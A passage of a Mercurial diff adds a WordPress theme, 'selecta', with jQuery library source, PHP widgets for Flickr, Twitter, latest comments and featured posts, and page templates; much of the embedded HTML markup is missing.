this.nodeType != 8 ) + ret += this.nodeType != 1 ? + this.nodeValue : + jQuery.fn.text( [ this ] ); + }); + }); + + return ret; + }, + + wrapAll: function( html ) { + if ( this[0] ) { + // The elements to wrap the target around + var wrap = jQuery( html, this[0].ownerDocument ).clone(); + + if ( this[0].parentNode ) + wrap.insertBefore( this[0] ); + + wrap.map(function(){ + var elem = this; + + while ( elem.firstChild ) + elem = elem.firstChild; + + return elem; + }).append(this); + } + + return this; + }, + + wrapInner: function( html ) { + return this.each(function(){ + jQuery( this ).contents().wrapAll( html ); + }); + }, + + wrap: function( html ) { + return this.each(function(){ + jQuery( this ).wrapAll( html ); + }); + }, + + append: function() { + return this.domManip(arguments, true, function(elem){ + if (this.nodeType == 1) + this.appendChild( elem ); + }); + }, + + prepend: function() { + return this.domManip(arguments, true, function(elem){ + if (this.nodeType == 1) + this.insertBefore( elem, this.firstChild ); + }); + }, + + before: function() { + return this.domManip(arguments, false, function(elem){ + this.parentNode.insertBefore( elem, this ); + }); + }, + + after: function() { + return this.domManip(arguments, false, function(elem){ + this.parentNode.insertBefore( elem, this.nextSibling ); + }); + }, + + end: function() { + return this.prevObject || jQuery( [] ); + }, + + // For internal use only. + // Behaves like an Array's .push method, not like a jQuery method. + push: [].push, + + find: function( selector ) { + if ( this.length === 1 && !/,/.test(selector) ) { + var ret = this.pushStack( [], "find", selector ); + ret.length = 0; + jQuery.find( selector, this[0], ret ); + return ret; + } else { + var elems = jQuery.map(this, function(elem){ + return jQuery.find( selector, elem ); + }); + + return this.pushStack( /[^+>] [^+>]/.test( selector ) ? + jQuery.unique( elems ) : + elems, "find", selector ); + } + }, + + clone: function( events ) { + // Do the clone + var ret = this.map(function(){ + if ( !jQuery.support.noCloneEvent && !jQuery.isXMLDoc(this) ) { + // IE copies events bound via attachEvent when + // using cloneNode. Calling detachEvent on the + // clone will also remove the events from the orignal + // In order to get around this, we use innerHTML. + // Unfortunately, this means some modifications to + // attributes in IE that are actually only stored + // as properties will not be copied (such as the + // the name attribute on an input). + var clone = this.cloneNode(true), + container = document.createElement("div"); + container.appendChild(clone); + return jQuery.clean([container.innerHTML])[0]; + } else + return this.cloneNode(true); + }); + + // Need to set the expando to null on the cloned set if it exists + // removeData doesn't work here, IE removes it from the original as well + // this is primarily for IE but the data expando shouldn't be copied over in any browser + var clone = ret.find("*").andSelf().each(function(){ + if ( this[ expando ] !== undefined ) + this[ expando ] = null; + }); + + // Copy the events from the original to the clone + if ( events === true ) + this.find("*").andSelf().each(function(i){ + if (this.nodeType == 3) + return; + var events = jQuery.data( this, "events" ); + + for ( var type in events ) + for ( var handler in events[ type ] ) + jQuery.event.add( clone[ i ], type, events[ type ][ handler ], events[ type ][ handler ].data ); + }); + + // Return the cloned set + return ret; + }, + + filter: function( selector ) { + return this.pushStack( + jQuery.isFunction( selector ) && + jQuery.grep(this, function(elem, i){ + return selector.call( elem, i ); + }) || + + jQuery.multiFilter( selector, jQuery.grep(this, function(elem){ + return elem.nodeType === 1; + }) ), "filter", selector ); + }, + + closest: function( selector ) { + var pos = jQuery.expr.match.POS.test( selector ) ? jQuery(selector) : null; + + return this.map(function(){ + var cur = this; + while ( cur && cur.ownerDocument ) { + if ( pos ? pos.index(cur) > -1 : jQuery(cur).is(selector) ) + return cur; + cur = cur.parentNode; + } + }); + }, + + not: function( selector ) { + if ( typeof selector === "string" ) + // test special case where just one selector is passed in + if ( isSimple.test( selector ) ) + return this.pushStack( jQuery.multiFilter( selector, this, true ), "not", selector ); + else + selector = jQuery.multiFilter( selector, this ); + + var isArrayLike = selector.length && selector[selector.length - 1] !== undefined && !selector.nodeType; + return this.filter(function() { + return isArrayLike ? jQuery.inArray( this, selector ) < 0 : this != selector; + }); + }, + + add: function( selector ) { + return this.pushStack( jQuery.unique( jQuery.merge( + this.get(), + typeof selector === "string" ? + jQuery( selector ) : + jQuery.makeArray( selector ) + ))); + }, + + is: function( selector ) { + return !!selector && jQuery.multiFilter( selector, this ).length > 0; + }, + + hasClass: function( selector ) { + return !!selector && this.is( "." + selector ); + }, + + val: function( value ) { + if ( value === undefined ) { + var elem = this[0]; + + if ( elem ) { + if( jQuery.nodeName( elem, 'option' ) ) + return (elem.attributes.value || {}).specified ? elem.value : elem.text; + + // We need to handle select boxes special + if ( jQuery.nodeName( elem, "select" ) ) { + var index = elem.selectedIndex, + values = [], + options = elem.options, + one = elem.type == "select-one"; + + // Nothing was selected + if ( index < 0 ) + return null; + + // Loop through all the selected options + for ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) { + var option = options[ i ]; + + if ( option.selected ) { + // Get the specifc value for the option + value = jQuery(option).val(); + + // We don't need an array for one selects + if ( one ) + return value; + + // Multi-Selects return an array + values.push( value ); + } + } + + return values; + } + + // Everything else, we just grab the value + return (elem.value || "").replace(/\r/g, ""); + + } + + return undefined; + } + + if ( typeof value === "number" ) + value += ''; + + return this.each(function(){ + if ( this.nodeType != 1 ) + return; + + if ( jQuery.isArray(value) && /radio|checkbox/.test( this.type ) ) + this.checked = (jQuery.inArray(this.value, value) >= 0 || + jQuery.inArray(this.name, value) >= 0); + + else if ( jQuery.nodeName( this, "select" ) ) { + var values = jQuery.makeArray(value); + + jQuery( "option", this ).each(function(){ + this.selected = (jQuery.inArray( this.value, values ) >= 0 || + jQuery.inArray( this.text, values ) >= 0); + }); + + if ( !values.length ) + this.selectedIndex = -1; + + } else + this.value = value; + }); + }, + + html: function( value ) { + return value === undefined ? + (this[0] ? + this[0].innerHTML : + null) : + this.empty().append( value ); + }, + + replaceWith: function( value ) { + return this.after( value ).remove(); + }, + + eq: function( i ) { + return this.slice( i, +i + 1 ); + }, + + slice: function() { + return this.pushStack( Array.prototype.slice.apply( this, arguments ), + "slice", Array.prototype.slice.call(arguments).join(",") ); + }, + + map: function( callback ) { + return this.pushStack( jQuery.map(this, function(elem, i){ + return callback.call( elem, i, elem ); + })); + }, + + andSelf: function() { + return this.add( this.prevObject ); + }, + + domManip: function( args, table, callback ) { + if ( this[0] ) { + var fragment = (this[0].ownerDocument || this[0]).createDocumentFragment(), + scripts = jQuery.clean( args, (this[0].ownerDocument || this[0]), fragment ), + first = fragment.firstChild, + extra = this.length > 1 ? fragment.cloneNode(true) : fragment; + + if ( first ) + for ( var i = 0, l = this.length; i < l; i++ ) + callback.call( root(this[i], first), i > 0 ? extra.cloneNode(true) : fragment ); + + if ( scripts ) + jQuery.each( scripts, evalScript ); + } + + return this; + + function root( elem, cur ) { + return table && jQuery.nodeName(elem, "table") && jQuery.nodeName(cur, "tr") ? + (elem.getElementsByTagName("tbody")[0] || + elem.appendChild(elem.ownerDocument.createElement("tbody"))) : + elem; + } + } +}; + +// Give the init function the jQuery prototype for later instantiation +jQuery.fn.init.prototype = jQuery.fn; + +function evalScript( i, elem ) { + if ( elem.src ) + jQuery.ajax({ + url: elem.src, + async: false, + dataType: "script" + }); + + else + jQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || "" ); + + if ( elem.parentNode ) + elem.parentNode.removeChild( elem ); +} + +function now(){ + return +new Date; +} + +jQuery.extend = jQuery.fn.extend = function() { + // copy reference to target object + var target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options; + + // Handle a deep copy situation + if ( typeof target === "boolean" ) { + deep = target; + target = arguments[1] || {}; + // skip the boolean and the target + i = 2; + } + + // Handle case when target is a string or something (possible in deep copy) + if ( typeof target !== "object" && !jQuery.isFunction(target) ) + target = {}; + + // extend jQuery itself if only one argument is passed + if ( length == i ) { + target = this; + --i; + } + + for ( ; i < length; i++ ) + // Only deal with non-null/undefined values + if ( (options = arguments[ i ]) != null ) + // Extend the base object + for ( var name in options ) { + var src = target[ name ], copy = options[ name ]; + + // Prevent never-ending loop + if ( target === copy ) + continue; + + // Recurse if we're merging object values + if ( deep && copy && typeof copy === "object" && !copy.nodeType ) + target[ name ] = jQuery.extend( deep, + // Never move original objects, clone them + src || ( copy.length != null ? [ ] : { } ) + , copy ); + + // Don't bring in undefined values + else if ( copy !== undefined ) + target[ name ] = copy; + + } + + // Return the modified object + return target; +}; + +// exclude the following css properties to add px +var exclude = /z-?index|font-?weight|opacity|zoom|line-?height/i, + // cache defaultView + defaultView = document.defaultView || {}, + toString = Object.prototype.toString; + +jQuery.extend({ + noConflict: function( deep ) { + window.$ = _$; + + if ( deep ) + window.jQuery = _jQuery; + + return jQuery; + }, + + // See test/unit/core.js for details concerning isFunction. + // Since version 1.3, DOM methods and functions like alert + // aren't supported. They return false on IE (#2968). + isFunction: function( obj ) { + return toString.call(obj) === "[object Function]"; + }, + + isArray: function( obj ) { + return toString.call(obj) === "[object Array]"; + }, + + // check if an element is in a (or is an) XML document + isXMLDoc: function( elem ) { + return elem.nodeType === 9 && elem.documentElement.nodeName !== "HTML" || + !!elem.ownerDocument && jQuery.isXMLDoc( elem.ownerDocument ); + }, + + // Evalulates a script in a global context + globalEval: function( data ) { + data = jQuery.trim( data ); + + if ( data ) { + // Inspired by code by Andrea Giammarchi + // http://webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html + var head = document.getElementsByTagName("head")[0] || document.documentElement, + script = document.createElement("script"); + + script.type = "text/javascript"; + if ( jQuery.support.scriptEval ) + script.appendChild( document.createTextNode( data ) ); + else + script.text = data; + + // Use insertBefore instead of appendChild to circumvent an IE6 bug. + // This arises when a base node is used (#2709). + head.insertBefore( script, head.firstChild ); + head.removeChild( script ); + } + }, + + nodeName: function( elem, name ) { + return elem.nodeName && elem.nodeName.toUpperCase() == name.toUpperCase(); + }, + + // args is for internal usage only + each: function( object, callback, args ) { + var name, i = 0, length = object.length; + + if ( args ) { + if ( length === undefined ) { + for ( name in object ) + if ( callback.apply( object[ name ], args ) === false ) + break; + } else + for ( ; i < length; ) + if ( callback.apply( object[ i++ ], args ) === false ) + break; + + // A special, fast, case for the most common use of each + } else { + if ( length === undefined ) { + for ( name in object ) + if ( callback.call( object[ name ], name, object[ name ] ) === false ) + break; + } else + for ( var value = object[0]; + i < length && callback.call( value, i, value ) !== false; value = object[++i] ){} + } + + return object; + }, + + prop: function( elem, value, type, i, name ) { + // Handle executable functions + if ( jQuery.isFunction( value ) ) + value = value.call( elem, i ); + + // Handle passing in a number to a CSS property + return typeof value === "number" && type == "curCSS" && !exclude.test( name ) ? + value + "px" : + value; + }, + + className: { + // internal only, use addClass("class") + add: function( elem, classNames ) { + jQuery.each((classNames || "").split(/\s+/), function(i, className){ + if ( elem.nodeType == 1 && !jQuery.className.has( elem.className, className ) ) + elem.className += (elem.className ? " " : "") + className; + }); + }, + + // internal only, use removeClass("class") + remove: function( elem, classNames ) { + if (elem.nodeType == 1) + elem.className = classNames !== undefined ? + jQuery.grep(elem.className.split(/\s+/), function(className){ + return !jQuery.className.has( classNames, className ); + }).join(" ") : + ""; + }, + + // internal only, use hasClass("class") + has: function( elem, className ) { + return elem && jQuery.inArray( className, (elem.className || elem).toString().split(/\s+/) ) > -1; + } + }, + + // A method for quickly swapping in/out CSS properties to get correct calculations + swap: function( elem, options, callback ) { + var old = {}; + // Remember the old values, and insert the new ones + for ( var name in options ) { + old[ name ] = elem.style[ name ]; + elem.style[ name ] = options[ name ]; + } + + callback.call( elem ); + + // Revert the old values + for ( var name in options ) + elem.style[ name ] = old[ name ]; + }, + + css: function( elem, name, force ) { + if ( name == "width" || name == "height" ) { + var val, props = { position: "absolute", visibility: "hidden", display:"block" }, which = name == "width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ]; + + function getWH() { + val = name == "width" ? elem.offsetWidth : elem.offsetHeight; + var padding = 0, border = 0; + jQuery.each( which, function() { + padding += parseFloat(jQuery.curCSS( elem, "padding" + this, true)) || 0; + border += parseFloat(jQuery.curCSS( elem, "border" + this + "Width", true)) || 0; + }); + val -= Math.round(padding + border); + } + + if ( jQuery(elem).is(":visible") ) + getWH(); + else + jQuery.swap( elem, props, getWH ); + + return Math.max(0, val); + } + + return jQuery.curCSS( elem, name, force ); + }, + + curCSS: function( elem, name, force ) { + var ret, style = elem.style; + + // We need to handle opacity special in IE + if ( name == "opacity" && !jQuery.support.opacity ) { + ret = jQuery.attr( style, "opacity" ); + + return ret == "" ? + "1" : + ret; + } + + // Make sure we're using the right name for getting the float value + if ( name.match( /float/i ) ) + name = styleFloat; + + if ( !force && style && style[ name ] ) + ret = style[ name ]; + + else if ( defaultView.getComputedStyle ) { + + // Only "float" is needed here + if ( name.match( /float/i ) ) + name = "float"; + + name = name.replace( /([A-Z])/g, "-$1" ).toLowerCase(); + + var computedStyle = defaultView.getComputedStyle( elem, null ); + + if ( computedStyle ) + ret = computedStyle.getPropertyValue( name ); + + // We should always get a number back from opacity + if ( name == "opacity" && ret == "" ) + ret = "1"; + + } else if ( elem.currentStyle ) { + var camelCase = name.replace(/\-(\w)/g, function(all, letter){ + return letter.toUpperCase(); + }); + + ret = elem.currentStyle[ name ] || elem.currentStyle[ camelCase ]; + + // From the awesome hack by Dean Edwards + // http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291 + + // If we're not dealing with a regular pixel number + // but a number that has a weird ending, we need to convert it to pixels + if ( !/^\d+(px)?$/i.test( ret ) && /^\d/.test( ret ) ) { + // Remember the original values + var left = style.left, rsLeft = elem.runtimeStyle.left; + + // Put in the new values to get a computed value out + elem.runtimeStyle.left = elem.currentStyle.left; + style.left = ret || 0; + ret = style.pixelLeft + "px"; + + // Revert the changed values + style.left = left; + elem.runtimeStyle.left = rsLeft; + } + } + + return ret; + }, + + clean: function( elems, context, fragment ) { + context = context || document; + + // !context.createElement fails in IE with an error but returns typeof 'object' + if ( typeof context.createElement === "undefined" ) + context = context.ownerDocument || context[0] && context[0].ownerDocument || document; + + // If a single string is passed in and it's a single tag + // just do a createElement and skip the rest + if ( !fragment && elems.length === 1 && typeof elems[0] === "string" ) { + var match = /^<(\w+)\s*\/?>$/.exec(elems[0]); + if ( match ) + return [ context.createElement( match[1] ) ]; + } + + var ret = [], scripts = [], div = context.createElement("div"); + + jQuery.each(elems, function(i, elem){ + if ( typeof elem === "number" ) + elem += ''; + + if ( !elem ) + return; + + // Convert html string into DOM nodes + if ( typeof elem === "string" ) { + // Fix "XHTML"-style tags in all browsers + elem = elem.replace(/(<(\w+)[^>]*?)\/>/g, function(all, front, tag){ + return tag.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i) ? + all : + front + ">"; + }); + + // Trim whitespace, otherwise indexOf won't work as expected + var tags = jQuery.trim( elem ).toLowerCase(); + + var wrap = + // option or optgroup + !tags.indexOf("", "" ] || + + !tags.indexOf("", "" ] || + + tags.match(/^<(thead|tbody|tfoot|colg|cap)/) && + [ 1, "", "
    " ] || + + !tags.indexOf("", "" ] || + + // matched above + (!tags.indexOf("", "" ] || + + !tags.indexOf("", "" ] || + + // IE can't serialize and +
    + +

    +

    Get your Flickr ID from idGettr

    +

    +

    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/widgets/four-block-widget.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/widgets/four-block-widget.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,162 @@ + "Four block thumbnail widget for the Home Page. Place in the 'Index Header Panel'.")); + } + + /** @see WP_Widget::widget */ + function widget($args, $instance) { + extract( $args ); + $widget_title = esc_attr($instance["widget_title"]); + + if(!($instance["post_category"])) : + $use_catId = 0; + $cat_query = ""; + else : + $use_category = $instance["post_category"]; + $use_catId = get_category_by_slug($use_category); + $cat_query = "&category_name=".$use_catId->cat_name; + endif; + //Fetch the category for the widget + if(!($instance["post_offset"])) : + $use_offset = 0; + else : + $use_offset = $instance["post_offset"]; + endif; + + //Fetch the count for the widget + if(!($instance["post_count"])) : + $post_count = 4; + else : + $post_count = $instance["post_count"]; + endif; + + $ocmx_featured = new WP_Query("showposts=$post_count&post_type=post".$cat_query); + + //Set the post Aguments and Query accordingly + $count = 0; +?> +
    +

    +
      + have_posts()) : $ocmx_featured->the_post(); + setup_postdata($post); + $count++; + if ($count == 5) : + $count = 1; ?> +
    +
    +
    +
      + ID); + $get_post_video = get_post_meta($this_post->ID, "main_video", true); + $get_thumbnail = get_post_meta($this_post->ID, "other_media", true); + $get_video_thumbnail = get_post_meta($this_post->ID, "video_thumbnail", true); + $link = get_permalink($this_post->ID); + // Set our category + $category = get_the_category(); + // If we haven't used our custom image input, search for the first image in the post + $post_image = ""; + if($get_thumbnail == "" && (get_option("ocmx_auto_home_images") && get_option("ocmx_auto_home_images") !== "no")) : + $post_image = fetch_post_image($ocmx_featured->ID, "300", "600"); + endif; + ?> + > +
      +
      +
      + + <?php the_title(); ?> + + <?php the_title(); ?> + +
      +
      + +

      post_title; ?>

      + + +
    +
    + +

    +

    +

    +

    +

    +

    + +

    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/widgets/ocmx-latest-comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/widgets/ocmx-latest-comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,67 @@ + "Display the Latest Comments")); + } + + /** @see WP_Widget::widget */ + function widget($args, $instance) { + extract( $args ); + global $wpdb; + $comment_count = esc_attr($instance["comment_count"]); + $latest_comments = $wpdb->get_results($wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_approved = 1 ORDER BY comment_date DESC LIMIT ".$comment_count, "ARRAY_A") ); +?> +
  • +
    +
      + comment_ID); + $use_id = $this_comment->comment_post_ID; + $this_post = get_post($use_id); + $post_title = $this_post->post_title; + $post_link = get_permalink($post->ID); + ?> +
    • + + + comment_date)); ?> comment_date)); ?> + + +
    • + +
    + +
  • + +

    + + +

    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/widgets/twitter-widget.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/widgets/twitter-widget.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,65 @@ + + + + + + + +
      +
    • ...loading Twitter Stream
    • +
    + + + + +

    +

    +

    +

    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,32 @@ + + + + +
    + ID, "other_media", true);; + $get_post_video = get_post_meta($post->ID, "main_video", true); + ?> +
    +
    +
    + +
    + +
    + + + +
    +

    This just happened.

    +

    Everyone needs to slow down

    +
    +
    There are no posts which match your criterea.
    + +
    + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/screenshot.png Binary file web/wp-content/themes/selecta/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/scripts/jquery.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/scripts/jquery.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,19 @@ +/* + * jQuery JavaScript Library v1.3.2 + * http://jquery.com/ + * + * Copyright (c) 2009 John Resig + * Dual licensed under the MIT and GPL licenses. + * http://docs.jquery.com/License + * + * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009) + * Revision: 6246 + */ +(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.isArray(E)?E:o.makeArray(E))},selector:"",jquery:"1.3.2",size:function(){return this.length},get:function(E){return E===g?Array.prototype.slice.call(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,sort:[].sort,splice:[].splice,find:function(E){if(this.length===1){var F=this.pushStack([],"find",E);F.length=0;o.find(E,this[0],F);return F}else{return this.pushStack(o.unique(o.map(this,function(G){return o.find(E,G)})),"find",E)}},clone:function(G){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.outerHTML;if(!I){var J=this.ownerDocument.createElement("div");J.appendChild(this.cloneNode(true));I=J.innerHTML}return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0]}else{return this.cloneNode(true)}});if(G===true){var H=this.find("*").andSelf(),F=0;E.find("*").andSelf().each(function(){if(this.nodeName!==H[F].nodeName){return}var I=o.data(H[F],"events");for(var K in I){for(var J in I[K]){o.event.add(this,K,I[K][J],I[K][J].data)}}F++})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var G=o.expr.match.POS.test(E)?o(E):null,F=0;return this.map(function(){var H=this;while(H&&H.ownerDocument){if(G?G.index(H)>-1:o(H).is(E)){o.data(H,"closest",F);return H}H=H.parentNode;F++}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(J,M,L){if(this[0]){var I=(this[0].ownerDocument||this[0]).createDocumentFragment(),F=o.clean(J,(this[0].ownerDocument||this[0]),I),H=I.firstChild;if(H){for(var G=0,E=this.length;G1||G>0?I.cloneNode(true):I)}}if(F){o.each(F,z)}}return this;function K(N,O){return M&&o.nodeName(N,"table")&&o.nodeName(O,"tr")?(N.getElementsByTagName("tbody")[0]||N.appendChild(N.ownerDocument.createElement("tbody"))):N}}};o.fn.init.prototype=o.fn;function z(E,F){if(F.src){o.ajax({url:F.src,async:false,dataType:"script"})}else{o.globalEval(F.text||F.textContent||F.innerHTML||"")}if(F.parentNode){F.parentNode.removeChild(F)}}function e(){return +new Date}o.extend=o.fn.extend=function(){var J=arguments[0]||{},H=1,I=arguments.length,E=false,G;if(typeof J==="boolean"){E=J;J=arguments[1]||{};H=2}if(typeof J!=="object"&&!o.isFunction(J)){J={}}if(I==H){J=this;--H}for(;H-1}},swap:function(H,G,I){var E={};for(var F in G){E[F]=H.style[F];H.style[F]=G[F]}I.call(H);for(var F in G){H.style[F]=E[F]}},css:function(H,F,J,E){if(F=="width"||F=="height"){var L,G={position:"absolute",visibility:"hidden",display:"block"},K=F=="width"?["Left","Right"]:["Top","Bottom"];function I(){L=F=="width"?H.offsetWidth:H.offsetHeight;if(E==="border"){return}o.each(K,function(){if(!E){L-=parseFloat(o.curCSS(H,"padding"+this,true))||0}if(E==="margin"){L+=parseFloat(o.curCSS(H,"margin"+this,true))||0}else{L-=parseFloat(o.curCSS(H,"border"+this+"Width",true))||0}})}if(H.offsetWidth!==0){I()}else{o.swap(H,G,I)}return Math.max(0,Math.round(L))}return o.curCSS(H,F,J)},curCSS:function(I,F,G){var L,E=I.style;if(F=="opacity"&&!o.support.opacity){L=o.attr(E,"opacity");return L==""?"1":L}if(F.match(/float/i)){F=w}if(!G&&E&&E[F]){L=E[F]}else{if(q.getComputedStyle){if(F.match(/float/i)){F="float"}F=F.replace(/([A-Z])/g,"-$1").toLowerCase();var M=q.getComputedStyle(I,null);if(M){L=M.getPropertyValue(F)}if(F=="opacity"&&L==""){L="1"}}else{if(I.currentStyle){var J=F.replace(/\-(\w)/g,function(N,O){return O.toUpperCase()});L=I.currentStyle[F]||I.currentStyle[J];if(!/^\d+(px)?$/i.test(L)&&/^\d/.test(L)){var H=E.left,K=I.runtimeStyle.left;I.runtimeStyle.left=I.currentStyle.left;E.left=L||0;L=E.pixelLeft+"px";E.left=H;I.runtimeStyle.left=K}}}}return L},clean:function(F,K,I){K=K||document;if(typeof K.createElement==="undefined"){K=K.ownerDocument||K[0]&&K[0].ownerDocument||document}if(!I&&F.length===1&&typeof F[0]==="string"){var H=/^<(\w+)\s*\/?>$/.exec(F[0]);if(H){return[K.createElement(H[1])]}}var G=[],E=[],L=K.createElement("div");o.each(F,function(P,S){if(typeof S==="number"){S+=""}if(!S){return}if(typeof S==="string"){S=S.replace(/(<(\w+)[^>]*?)\/>/g,function(U,V,T){return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?U:V+">"});var O=S.replace(/^\s+/,"").substring(0,10).toLowerCase();var Q=!O.indexOf("",""]||!O.indexOf("",""]||O.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"","
    "]||!O.indexOf("",""]||(!O.indexOf("",""]||!O.indexOf("",""]||!o.support.htmlSerialize&&[1,"div
    ","
    "]||[0,"",""];L.innerHTML=Q[1]+S+Q[2];while(Q[0]--){L=L.lastChild}if(!o.support.tbody){var R=/"&&!R?L.childNodes:[];for(var M=N.length-1;M>=0;--M){if(o.nodeName(N[M],"tbody")&&!N[M].childNodes.length){N[M].parentNode.removeChild(N[M])}}}if(!o.support.leadingWhitespace&&/^\s/.test(S)){L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]),L.firstChild)}S=o.makeArray(L.childNodes)}if(S.nodeType){G.push(S)}else{G=o.merge(G,S)}});if(I){for(var J=0;G[J];J++){if(o.nodeName(G[J],"script")&&(!G[J].type||G[J].type.toLowerCase()==="text/javascript")){E.push(G[J].parentNode?G[J].parentNode.removeChild(G[J]):G[J])}else{if(G[J].nodeType===1){G.splice.apply(G,[J+1,0].concat(o.makeArray(G[J].getElementsByTagName("script"))))}I.appendChild(G[J])}}return E}return G},attr:function(J,G,K){if(!J||J.nodeType==3||J.nodeType==8){return g}var H=!o.isXMLDoc(J),L=K!==g;G=H&&o.props[G]||G;if(J.tagName){var F=/href|src|style/.test(G);if(G=="selected"&&J.parentNode){J.parentNode.selectedIndex}if(G in J&&H&&!F){if(L){if(G=="type"&&o.nodeName(J,"input")&&J.parentNode){throw"type property can't be changed"}J[G]=K}if(o.nodeName(J,"form")&&J.getAttributeNode(G)){return J.getAttributeNode(G).nodeValue}if(G=="tabIndex"){var I=J.getAttributeNode("tabIndex");return 